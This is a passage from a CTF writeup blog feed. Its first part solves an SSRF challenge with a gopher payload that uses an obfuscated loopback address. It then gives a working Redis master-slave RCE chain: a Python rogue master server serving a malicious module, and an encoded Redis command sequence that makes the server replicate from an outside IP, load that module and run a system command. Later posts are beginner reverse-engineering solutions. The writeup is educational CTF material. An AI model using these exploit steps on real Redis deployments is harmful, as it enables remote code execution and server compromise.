class="line">?url=gopher://0177.0.0x0001:80/_%2547%2545%2554%2520%252f%2568%2569%256e%2574%252e%2570%2568%2570%2520%2548%2554%2554%2550%252f%2531%252e%2531%250d%250a%2548%256f%2573%2574%253a%2520%2531%2532%2537%252e%2530%252e%2530%252e%2531%250d%250a%2555%2573%2565%2572%252d%2541%2567%2565%256e%2574%253a%2520%2563%2575%2572%256c%252f%2537%252e%2536%2535%252e%2533%250d%250a%2541%2563%2563%2565%2570%2574%253a%2520%252a%252f%252a%250d%250a%250d%250a</span><br></pre></td></tr></table></figure><ul><li><code>http:///127.0.0.1/hint.php</code></li></ul><h1 id="redis主从复制rce"><a href="#redis主从复制rce" class="headerlink" title="redis主从复制rce"></a>redis主从复制rce</h1><p>hint.php内容:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"><span class="keyword">if</span>($_SERVER[<span class="string">'REMOTE_ADDR'</span>]===<span class="string">"127.0.0.1"</span>){</span><br><span class="line"> highlight_file(<span class="keyword">__FILE__</span>);</span><br><span class="line">}</span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">isset</span>($_POST[<span class="string">'file'</span>])){</span><br><span class="line"> file_put_contents($_POST[<span class="string">'file'</span>],<span class="string">"<?php echo 'redispass is root';exit();"</span>.$_POST[<span class="string">'file'</span>]);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><ul><li><p>得到redis密码为root</p></li><li><p><code>file_put_contents($_POST['file'],"<?php echo 'redispass is root';exit();".$_POST['file']);</code>可以绕过写shell,不过试了下没有写权限。同理redis写shell也行不通了</p></li></ul><p>那么很显然是要用到<a href="https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf" target="_blank" rel="noopener">redis-post-exploitation</a>中提出的redis主从复制rce了</p><p>简单说下原理:</p><ul><li><code>slaveof</code>(新版改为<code>REPLICAOF</code>)建立后slave会向master发送<code>PSYNC</code>,请求开始复制</li><li>master可以返回<code>FULLRESYNC</code>,进行全量复制,然后将自己持久化的数据发给slave,正常情况下包括<code>Replication ID</code>, <code>offset</code>,master存储的key-value等等</li><li>slave会将这些数据保存到config中<code>dbfilename</code>指定的文件(默认为dump.rdb),然后再载入。</li><li>通过伪造master,可以控制发往slave的信息,从而做到无脏数据写文件</li><li>在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件</li><li>因此通过FULLRESYNC写入恶意so文件,然后<code>MODULE LOAD /path/to/mymodule.so</code>载入模块即可rce</li></ul><p>最后的解法:</p><ul><li>根据<a href="https://github.com/vulhub/redis-rogue-getshell" target="_blank" rel="noopener">redis-rogue-getshell</a>的代码,改一个master server出来。exp.so编译下里面的<code>RedisModulesSDK/exp/exp.c</code>得到</li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> os</span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"><span class="keyword">import</span> argparse</span><br><span class="line"><span class="keyword">import</span> socketserver</span><br><span class="line"><span class="keyword">import</span> logging</span><br><span class="line"><span class="keyword">import</span> socket</span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"></span><br><span class="line">logging.basicConfig(stream=sys.stdout, level=logging.INFO, format=<span class="string">'>> %(message)s'</span>)</span><br><span class="line"></span><br><span class="line">DELIMITER = <span class="string">b"\r\n"</span></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">RoguoHandler</span><span class="params">(socketserver.BaseRequestHandler)</span>:</span></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">decode</span><span class="params">(self, data)</span>:</span></span><br><span class="line"> <span class="keyword">if</span> data.startswith(<span class="string">b'*'</span>):</span><br><span class="line"> <span class="keyword">return</span> data.strip().split(DELIMITER)[<span class="number">2</span>::<span class="number">2</span>]</span><br><span class="line"> <span class="keyword">if</span> data.startswith(<span class="string">b'$'</span>):</span><br><span class="line"> <span class="keyword">return</span> data.split(DELIMITER, <span class="number">2</span>)[<span class="number">1</span>]</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> data.strip().split()</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">handle</span><span class="params">(self)</span>:</span></span><br><span class="line"> <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line"> data = self.request.recv(<span class="number">1024</span>)</span><br><span class="line"> logging.info(<span class="string">"receive data: %r"</span>, data)</span><br><span class="line"> arr = self.decode(data)</span><br><span class="line"> <span class="keyword">if</span> arr[<span class="number">0</span>].startswith(<span class="string">b'PING'</span>):</span><br><span class="line"> self.request.sendall(<span class="string">b'+PONG'</span> + DELIMITER)</span><br><span class="line"> <span class="keyword">elif</span> arr[<span class="number">0</span>].startswith(<span class="string">b'REPLCONF'</span>):</span><br><span class="line"> self.request.sendall(<span class="string">b'+OK'</span> + DELIMITER)</span><br><span class="line"> <span class="keyword">elif</span> arr[<span class="number">0</span>].startswith(<span class="string">b'PSYNC'</span>) <span class="keyword">or</span> arr[<span class="number">0</span>].startswith(<span class="string">b'SYNC'</span>):</span><br><span class="line"> self.request.sendall(<span class="string">b'+FULLRESYNC '</span> + <span class="string">b'Z'</span> * <span class="number">40</span> + <span class="string">b' 1'</span> + DELIMITER)</span><br><span class="line"> self.request.sendall(<span class="string">b'$'</span> + str(len(self.server.payload)).encode() + DELIMITER)</span><br><span class="line"> self.request.sendall(self.server.payload + DELIMITER)</span><br><span class="line"> <span class="keyword">break</span></span><br><span class="line"></span><br><span class="line"> self.finish()</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">finish</span><span class="params">(self)</span>:</span></span><br><span class="line"> self.request.close()</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">RoguoServer</span><span class="params">(socketserver.TCPServer)</span>:</span></span><br><span class="line"> allow_reuse_address = <span class="literal">True</span></span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">__init__</span><span class="params">(self, server_address, payload)</span>:</span></span><br><span class="line"> super(RoguoServer, self).__init__(server_address, RoguoHandler, <span class="literal">True</span>)</span><br><span class="line"> self.payload = payload</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__==<span class="string">'__main__'</span>:</span><br><span class="line"> expfile = <span class="string">'exp.so'</span></span><br><span class="line"> lport = <span class="number">6379</span></span><br><span class="line"> <span class="keyword">with</span> open(expfile, <span class="string">'rb'</span>) <span class="keyword">as</span> f:</span><br><span class="line"> server = RoguoServer((<span class="string">'0.0.0.0'</span>, lport), f.read())</span><br><span class="line"> server.handle_request()</span><br></pre></td></tr></table></figure><ul><li>通过ssrf用gopher协议对redis进行操作即可</li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"></span><br><span class="line">payload = <span class="string">"%252a%2532%250d%250a%2524%2534%250d%250a%2541%2555%2554%2548%250d%250a%2524%2534%250d%250a%2572%256f%256f%2574%250d%250a%252a%2531%250d%250a%2524%2537%250d%250a%2543%254f%254d%254d%2541%254e%2544%250d%250a%252a%2533%250d%250a%2524%2537%250d%250a%2573%256c%2561%2576%2565%256f%2566%250d%250a%2524%2531%2532%250d%250a%2531%2537%2534%252e%2532%252e%2534%2531%252e%2531%2531%2537%250d%250a%2524%2534%250d%250a%2536%2533%2537%2539%250d%250a%252a%2533%250d%250a%2524%2536%250d%250a%256d%256f%2564%2575%256c%2565%250d%250a%2524%2534%250d%250a%256c%256f%2561%2564%250d%250a%2524%2531%2530%250d%250a%252e%252f%2564%2575%256d%2570%252e%2572%2564%2562%250d%250a%252a%2532%250d%250a%2524%2531%2531%250d%250a%2573%2579%2573%2574%2565%256d%252e%2565%2578%2565%2563%250d%250a%2524%2539%250d%250a%2563%2561%2574%2520%252f%2566%256c%2561%2567%250d%250a%252a%2531%250d%250a%2524%2534%250d%250a%2571%2575%2569%2574%250d%250a"</span></span><br><span class="line">burp0_url = <span class="string">"http://b90f32d4-6ba9-4847-8d3a-d4c58e71d4d7.node3.buuoj.cn:80/?url=gopher://0.0.0.0:6379/_"</span>+payload</span><br><span class="line">burp0_headers = {<span class="string">"User-Agent"</span>: <span class="string">"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0"</span>, <span class="string">"Accept"</span>: <span class="string">"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"</span>, <span class="string">"Accept-Language"</span>: <span class="string">"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2"</span>, <span class="string">"Accept-Encoding"</span>: <span class="string">"gzip, deflate"</span>, <span class="string">"Connection"</span>: <span class="string">"close"</span>, <span class="string">"Upgrade-Insecure-Requests"</span>: <span class="string">"1"</span>}</span><br><span class="line">proxy = {<span class="string">'http'</span>:<span class="string">'http://127.0.0.1:8080'</span>}</span><br><span class="line"></span><br><span class="line">response = requests.get(burp0_url, headers=burp0_headers,proxies=proxy).text</span><br><span class="line">print(response)</span><br></pre></td></tr></table></figure><p>里面的payload解码后是</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line">*2</span><br><span class="line">$4</span><br><span class="line">AUTH</span><br><span class="line">$4</span><br><span class="line">root</span><br><span class="line">*1</span><br><span class="line">$7</span><br><span class="line">COMMAND</span><br><span class="line">*3</span><br><span class="line">$7</span><br><span class="line">slaveof</span><br><span class="line">$12</span><br><span class="line">174.2.41.117</span><br><span class="line">$4</span><br><span class="line">6379</span><br><span class="line">*3</span><br><span class="line">$6</span><br><span class="line">module</span><br><span class="line">$4</span><br><span class="line">load</span><br><span class="line">$10</span><br><span class="line">./dump.rdb</span><br><span class="line">*2</span><br><span class="line">$11</span><br><span class="line">system.exec</span><br><span class="line">$9</span><br><span class="line">cat /flag</span><br><span class="line">*1</span><br><span class="line">$4</span><br><span class="line">quit</span><br></pre></td></tr></table></figure>]]></content>
<summary type="html">
<p>好像很久都没写过web的wp了…趁着应付完考试来水一篇</p>
<h1 id="ssrf"><a href="#ssrf" class="headerlink" title="ssrf"></a>ssrf</h1><h2 id="ssrf防御机制"><a href="#ss
</summary>
<category term="CTF" scheme="https://liotree.github.io/categories/CTF/"/>
<category term="writeup" scheme="https://liotree.github.io/tags/writeup/"/>
<category term="ssrf" scheme="https://liotree.github.io/tags/ssrf/"/>
<category term="redis" scheme="https://liotree.github.io/tags/redis/"/>
</entry>
<entry>
<title>第五空间2020 nop</title>
<link href="https://liotree.github.io/2020/06/27/%E7%AC%AC%E4%BA%94%E7%A9%BA%E9%97%B42020-nop/"/>
<id>https://liotree.github.io/2020/06/27/%E7%AC%AC%E4%BA%94%E7%A9%BA%E9%97%B42020-nop/</id>
<published>2020-06-27T03:25:08.000Z</published>
<updated>2020-06-27T03:30:10.000Z</updated>
<content type="html"><![CDATA[<p>萌新第一次在比赛里玩逆向…最后当然没做出来啦…</p><h1 id="反调试"><a href="#反调试" class="headerlink" title="反调试"></a>反调试</h1><p>有5个反调试,直接<code>nop</code>掉就好<br><img src="/images/nop1.JPG" alt=""></p><p><img src="/images/nop2.JPG" alt=""></p><p><img src="/images/nop3.JPG" alt=""></p><p><img src="/images/nop4.JPG" alt=""></p><p><img src="/images/nop5.JPG" alt=""></p><h1 id="程序逻辑"><a href="#程序逻辑" class="headerlink" title="程序逻辑"></a>程序逻辑</h1><ul><li>先是对用户输入的整数进行几个运算<br><img src="/images/nop6.JPG" alt=""></li></ul><p><img src="/images/nop7.JPG" alt=""></p><p><img src="/images/nop8.JPG" alt=""></p><p><img src="/images/nop9.JPG" alt=""></p><p><img src="/images/nop10.JPG" alt=""></p><p>总结一下就是input=input+3+0xCCCCCCCC</p><ul><li><p>之后没有判断对错,直接就<code>jmp short loc_8048779</code>跳到了wrong的分支<br><img src="/images/nop11.JPG" alt=""></p></li><li><p>看一下上方的两个<code>call sub_8048691</code><br><img src="/images/nop12.JPG" alt=""><br>这里会将input指向的地址设为90h,也就是<code>nop</code>,执行两次则将两个字节设为<code>nop</code></p></li></ul><p>因此只需要让此时的input等于下方<code>jmp short loc_8048779</code>(正好2个字节)的地址,将其改成两个<code>nop</code>即可进入Right分支</p><p>也就是让input+3+0xCCCCCCCC=0x08048765</p><p>0xCCCCCCCC是-858993460的补码,因此可以算出flag=input=0x08048765+858993460-3=993507990</p>]]></content>
<summary type="html">
<p>萌新第一次在比赛里玩逆向…最后当然没做出来啦…</p>
<h1 id="反调试"><a href="#反调试" class="headerlink" title="反调试"></a>反调试</h1><p>有5个反调试,直接<code>nop</code>掉就好<br><im
</summary>
<category term="reverse" scheme="https://liotree.github.io/categories/reverse/"/>
<category term="writeup" scheme="https://liotree.github.io/tags/writeup/"/>
</entry>
<entry>
<title>攻防世界逆向新手练习wp</title>
<link href="https://liotree.github.io/2020/06/11/%E6%94%BB%E9%98%B2%E4%B8%96%E7%95%8C%E9%80%86%E5%90%91%E6%96%B0%E6%89%8B%E7%BB%83%E4%B9%A0wp/"/>
<id>https://liotree.github.io/2020/06/11/%E6%94%BB%E9%98%B2%E4%B8%96%E7%95%8C%E9%80%86%E5%90%91%E6%96%B0%E6%89%8B%E7%BB%83%E4%B9%A0wp/</id>
<published>2020-06-11T15:22:07.000Z</published>
<updated>2020-06-16T15:50:21.000Z</updated>
<content type="html"><![CDATA[<p>RCTF把web狗打疯了,不想学web了.jpg</p><p>好吧来学学逆向算了</p><h1 id="open-source"><a href="#open-source" class="headerlink" title="open-source"></a>open-source</h1><p>直接给了源码</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><stdio.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><string.h></span></span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc, <span class="keyword">char</span> *argv[])</span> </span>{</span><br><span class="line"> <span class="keyword">if</span> (argc != <span class="number">4</span>) {</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"what?\n"</span>);</span><br><span class="line"> <span class="built_in">exit</span>(<span class="number">1</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">unsigned</span> <span class="keyword">int</span> first = atoi(argv[<span class="number">1</span>]);</span><br><span class="line"> <span class="comment">//51966</span></span><br><span class="line"> <span class="keyword">if</span> (first != <span class="number">0xcafe</span>) {</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"you are wrong, sorry.\n"</span>);</span><br><span class="line"> <span class="built_in">exit</span>(<span class="number">2</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">unsigned</span> <span class="keyword">int</span> second = atoi(argv[<span class="number">2</span>]);</span><br><span class="line"> <span class="comment">// 25</span></span><br><span class="line"> <span class="keyword">if</span> (second % <span class="number">5</span> == <span class="number">3</span> || second % <span class="number">17</span> != <span class="number">8</span>) {</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"ha, you won't get it!\n"</span>);</span><br><span class="line"> <span class="built_in">exit</span>(<span class="number">3</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">//h4cky0u</span></span><br><span class="line"> <span class="keyword">if</span> (<span class="built_in">strcmp</span>(<span class="string">"h4cky0u"</span>, argv[<span class="number">3</span>])) {</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"so close, dude!\n"</span>);</span><br><span class="line"> <span class="built_in">exit</span>(<span class="number">4</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"Brr wrrr grr\n"</span>);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">unsigned</span> <span class="keyword">int</span> hash = first * <span class="number">31337</span> + (second % <span class="number">17</span>) * <span class="number">11</span> + <span class="built_in">strlen</span>(argv[<span class="number">3</span>]) - <span class="number">1615810207</span>;</span><br><span class="line"></span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"Get your key: "</span>);</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"%x\n"</span>, hash);</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p><code>.\8b6405c25fe447fa804c6833a0d72808.exe 51966 25 h4cky0u</code>即可</p><h1 id="simple-unpack"><a href="#simple-unpack" class="headerlink" title="simple-unpack"></a>simple-unpack</h1><p>ExeinfoPe看到是ELF文件,upx的壳,这几天有空的话可能会写一篇水文分析下upx</p><p>这里直接<code>upx -d</code>脱掉,ida打开在字符串里就能看到flag</p><h1 id="logmein"><a href="#logmein" class="headerlink" title="logmein"></a>logmein</h1><p>ida f5反汇编</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">void</span> __fastcall __noreturn <span class="title">main</span><span class="params">(__int64 a1, <span class="keyword">char</span> **a2, <span class="keyword">char</span> **a3)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="keyword">size_t</span> v3; <span class="comment">// rsi</span></span><br><span class="line"> <span class="keyword">int</span> i; <span class="comment">// [rsp+3Ch] [rbp-54h]</span></span><br><span class="line"> <span class="keyword">char</span> s[<span class="number">36</span>]; <span class="comment">// [rsp+40h] [rbp-50h]</span></span><br><span class="line"> <span class="keyword">int</span> v6; <span class="comment">// [rsp+64h] [rbp-2Ch]</span></span><br><span class="line"> __int64 v7; <span class="comment">// [rsp+68h] [rbp-28h]</span></span><br><span class="line"> <span class="keyword">char</span> v8[<span class="number">8</span>]; <span class="comment">// [rsp+70h] [rbp-20h]</span></span><br><span class="line"> <span class="keyword">int</span> v9; <span class="comment">// [rsp+8Ch] [rbp-4h]</span></span><br><span class="line"></span><br><span class="line"> v9 = <span class="number">0</span>;</span><br><span class="line"> <span class="built_in">strcpy</span>(v8, <span class="string">":\"AL_RT^L*.?+6/46"</span>);</span><br><span class="line"> v7 = <span class="number">28537194573619560L</span>L;</span><br><span class="line"> v6 = <span class="number">7</span>;</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"Welcome to the RC3 secure password guesser.\n"</span>, a2, a3);</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"To continue, you must enter the correct password.\n"</span>);</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"Enter your guess: "</span>);</span><br><span class="line"> __isoc99_scanf(<span class="string">"%32s"</span>, s);</span><br><span class="line"> v3 = <span class="built_in">strlen</span>(s);</span><br><span class="line"> <span class="keyword">if</span> ( v3 < <span class="built_in">strlen</span>(v8) )</span><br><span class="line"> sub_4007C0();</span><br><span class="line"> <span class="keyword">for</span> ( i = <span class="number">0</span>; i < <span class="built_in">strlen</span>(s); ++i )</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">if</span> ( i >= <span class="built_in">strlen</span>(v8) )</span><br><span class="line"> sub_4007C0();</span><br><span class="line"> <span class="keyword">if</span> ( s[i] != (<span class="keyword">char</span>)(*((_BYTE *)&v7 + i % v6) ^ v8[i]) )</span><br><span class="line"> sub_4007C0();</span><br><span class="line"> }</span><br><span class="line"> sub_4007F0();</span><br><span class="line">}</span><br></pre></td></tr></table></figure><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">void</span> __noreturn <span class="title">sub_4007C0</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"Incorrect password!\n"</span>);</span><br><span class="line"> <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">void</span> __noreturn <span class="title">sub_4007F0</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"You entered the correct password!\nGreat job!\n"</span>);</span><br><span class="line"> <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><ul><li>直接修改c代码<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span><span class="meta-string"><stdio.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span><span class="meta-string"><string.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> _BYTE char</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(__int64 a1, <span class="keyword">char</span> **a2, <span class="keyword">char</span> **a3)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="keyword">size_t</span> v3; <span class="comment">// rsi</span></span><br><span class="line"> <span class="keyword">int</span> i; <span class="comment">// [rsp+3Ch] [rbp-54h]</span></span><br><span class="line"> <span class="keyword">char</span> s[<span class="number">36</span>]; <span class="comment">// [rsp+40h] [rbp-50h]</span></span><br><span class="line"> <span class="keyword">int</span> v6; <span class="comment">// [rsp+64h] [rbp-2Ch]</span></span><br><span class="line"> __int64 v7; <span class="comment">// [rsp+68h] [rbp-28h]</span></span><br><span class="line"> <span class="keyword">char</span> v8[<span class="number">18</span>]; <span class="comment">// [rsp+70h] [rbp-20h]</span></span><br><span class="line"> <span class="keyword">int</span> v9; <span class="comment">// [rsp+8Ch] [rbp-4h]</span></span><br><span class="line"></span><br><span class="line"> v9 = <span class="number">0</span>;</span><br><span class="line"> <span class="built_in">strcpy</span>(v8, <span class="string">":\"AL_RT^L*.?+6/46"</span>);</span><br><span class="line"> v7 = <span class="number">28537194573619560L</span>L;</span><br><span class="line"> v6 = <span class="number">7</span>;</span><br><span class="line"> <span class="keyword">for</span> ( i = <span class="number">0</span>; i < <span class="number">17</span>; ++i )</span><br><span class="line"> {</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"%c"</span>,(<span class="keyword">char</span>)(*((_BYTE *)&v7 + i % v6) ^ v8[i]));</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure></li><li>用python写<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">key1 = <span class="string">":\"AL_RT^L*.?+6/46"</span></span><br><span class="line">key2=<span class="string">"72616865626d6172616865626d61726168"</span> </span><br><span class="line"><span class="comment"># 28537194573619560的十六进制是0x65626d61726168,循环了两组+3个字节,所以是72616865626d6172616865626d61726168</span></span><br><span class="line"></span><br><span class="line">j = <span class="number">-2</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">0</span>,<span class="number">17</span>):</span><br><span class="line"> temp = int(<span class="string">'0x'</span>+key2[j:][:<span class="number">2</span>],<span class="number">16</span>)</span><br><span class="line"> j = j<span class="number">-2</span></span><br><span class="line"> result = chr(temp ^ ord(key1[i]))</span><br><span class="line"> print(result,end=<span class="string">''</span>)</span><br></pre></td></tr></table></figure></li></ul><h1 id="insanity"><a href="#insanity" class="headerlink" title="insanity"></a>insanity</h1><p>32位的ELF文件,字符串里就有flag</p><h1 id="python-trade"><a href="#python-trade" class="headerlink" title="python-trade"></a>python-trade</h1><p>python字节码逆向</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">uncompyle6 f417c0d03b0344eb9969ed0e1f772091.pyc > source.py</span><br></pre></td></tr></table></figure><p>得到源码</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"># uncompyle6 version 3.6.4</span><br><span class="line"># Python bytecode 2.7 (62211)</span><br><span class="line"># Decompiled from: Python 3.7.4 (default, Jul 11 2019, 10:43:21) </span><br><span class="line"># [GCC 8.3.0]</span><br><span class="line"># Embedded file name: 1.py</span><br><span class="line"># Compiled at: 2017-06-03 10:20:43</span><br><span class="line">import base64</span><br><span class="line"></span><br><span class="line">def encode(message):</span><br><span class="line"> s = ''</span><br><span class="line"> for i in message:</span><br><span class="line"> x = ord(i) ^ 32</span><br><span class="line"> x = x + 16</span><br><span 